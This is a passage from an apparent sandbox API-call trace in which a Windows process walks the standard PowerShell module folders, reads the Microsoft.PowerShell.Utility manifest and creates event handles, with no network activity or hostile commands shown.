ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.385] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0182.385] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0182.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.385] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.386] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0182.386] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0182.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.386] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0182.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0182.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.387] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0182.387] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0182.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.388] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0182.388] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0182.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.388] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0182.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0182.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.389] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0182.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0182.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.389] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.390] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0182.390] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0182.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0182.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0182.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.391] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0182.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0182.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.391] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.392] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0182.392] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0182.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0182.392] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0182.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0182.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb64) returned 1 [0182.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0182.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0182.393] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x401af0 [0182.393] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.394] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0182.394] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0182.394] FindNextFileW (in: hFindFile=0x401af0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0182.394] FindClose (in: hFindFile=0x401af0 | out: hFindFile=0x401af0) returned 1 [0182.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8d4) returned 1 [0182.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb34) returned 1 [0182.394] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0182.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8dc) returned 1 [0182.546] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x24e0d1c | out: lpFileInformation=0x24e0d1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0182.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8d8) returned 1 [0182.546] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.546] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea44) returned 1 [0182.547] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x36c [0182.547] GetFileType (hFile=0x36c) returned 0x1 [0182.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea40) returned 1 [0182.547] GetFileType (hFile=0x36c) returned 0x1 [0182.548] SetFilePointer (in: hFile=0x36c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ea80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ea80*=0) returned 0x0 [0182.548] ReadFile (in: hFile=0x36c, lpBuffer=0x24e1b4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2eaac, lpOverlapped=0x0 | out: lpBuffer=0x24e1b4c*, lpNumberOfBytesRead=0x5a2eaac*=0x982, lpOverlapped=0x0) returned 1 [0182.548] SetFilePointer (in: hFile=0x36c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ea80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ea80*=0) returned 0x982 [0182.548] ReadFile (in: hFile=0x36c, lpBuffer=0x24e1062, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x5a2eaac, lpOverlapped=0x0 | out: lpBuffer=0x24e1062*, lpNumberOfBytesRead=0x5a2eaac*=0x0, lpOverlapped=0x0) returned 1 [0182.548] SetFilePointer (in: hFile=0x36c, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ea80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ea80*=0) returned 0x982 [0182.549] ReadFile (in: hFile=0x36c, lpBuffer=0x24e1b4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2eaac, lpOverlapped=0x0 | out: lpBuffer=0x24e1b4c*, lpNumberOfBytesRead=0x5a2eaac*=0x0, lpOverlapped=0x0) returned 1 [0182.549] CloseHandle (hObject=0x36c) returned 1 [0182.555] CoCreateGuid (in: pguid=0x5a2ebac | out: pguid=0x5a2ebac*(Data1=0xc7fabdc4, Data2=0x9e6c, Data3=0x41f4, Data4=([0]=0x98, [1]=0xea, [2]=0xcb, [3]=0xc3, [4]=0x99, [5]=0xff, [6]=0xdb, [7]=0xe9))) returned 0x0 [0182.556] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x36c [0182.557] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x2c8 [0182.557] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x414 [0182.557] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x418 [0182.558] SetEvent (hEvent=0x418) returned 1 [0182.558] SetEvent (hEvent=0x36c) returned 1 [0182.558] SetEvent (hEvent=0x2c8) returned 1 [0182.558] SetEvent (hEvent=0x414) returned 1 [0182.558] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x424 [0182.559] SetThreadUILanguage (LangId=0x0) returned 0x409 [0182.866] EtwEventActivityIdControl () returned 0x0 [0182.866] EtwEventActivityIdControl () returned 0x0 [0182.867] EtwEventActivityIdControl () returned 0x0 [0182.959] GetFileAttributesW 